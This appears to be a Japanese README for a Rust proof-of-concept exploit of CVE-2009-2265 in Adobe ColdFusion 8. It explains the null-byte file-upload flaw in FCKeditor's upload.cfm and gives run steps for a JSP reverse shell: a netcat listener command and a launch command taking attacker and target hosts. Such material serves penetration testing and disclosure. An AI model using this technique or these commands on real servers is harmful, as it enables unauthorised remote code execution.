
CVE-2009-2265エクスプロイトのPOCをRustで実装したもので、Adobe ColdFusion 8を対象としています。
CVE-2009-2265 エクスプロイトの POC を Rust で実装したもので、Adobe ColdFusion 8 を対象としています。
この脆弱性により、認証されていない攻撃者が Adobe ColdFusion 8 を実行しているサーバーの Web アクセス可能なディレクトリに任意のファイルをアップロードでき、リモートコード実行 (RCE) につながります。
upload.cfm コネクタCurrentFolderこの脆弱性は、/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm にある FCKeditor コンポーネントのファイルアップロード機能に存在します。HTTP GET パラメータ CurrentFolder が適切にサニタイズされておらず、ヌルバイト (%00) インジェクション攻撃が可能になっています。
攻撃者は CurrentFolder パラメータを /<filename>.jsp%00 に設定したリクエストを細工することで、サーバー側の拡張子チェックをバイパスできます。基盤となるシステム (多くの場合 Java) はヌルバイトを文字列の終端として解釈し、ファイル名を <filename>.jsp として扱います。これにより、攻撃者は悪意のある JSP ファイルをアップロードできます。サーバーはこのファイルを公開アクセス可能なディレクトリ (/userfiles/file/) に保存し、そこから URL にアクセスするだけで実行されます。
この POC は、JSP リバースシェルペイロードを生成し、ヌルバイト脆弱性を利用してアップロードし、それをトリガーしてターゲットシステム上でシェルを獲得するプロセスを自動化します。
以下の手順でエクスプロイトをコンパイルして実行します。
エクスプロイトを実行する前に、ローカルマシンでリスナーを起動して、送信されてくるリバースシェルを受け取ります。
nc -lnvp <attacker-port>
コンパイル済みバイナリを実行し、リバースシェル用のローカルのホスト/ポートと、リモートターゲットのホスト/ポートを指定します。
cargo run -- --lhost <LHOST> --lport <LPORT> --rhost <RHOST> --rport <RPORT>
スクリプトがペイロードをトリガーすると、Netcat リスナーで接続を受け取ります。
このツールは教育目的および許可を得たペネトレーションテストのみを対象としています。責任を持って、自分が所有するか明示的な許可を得たシステムに対してのみ使用してください。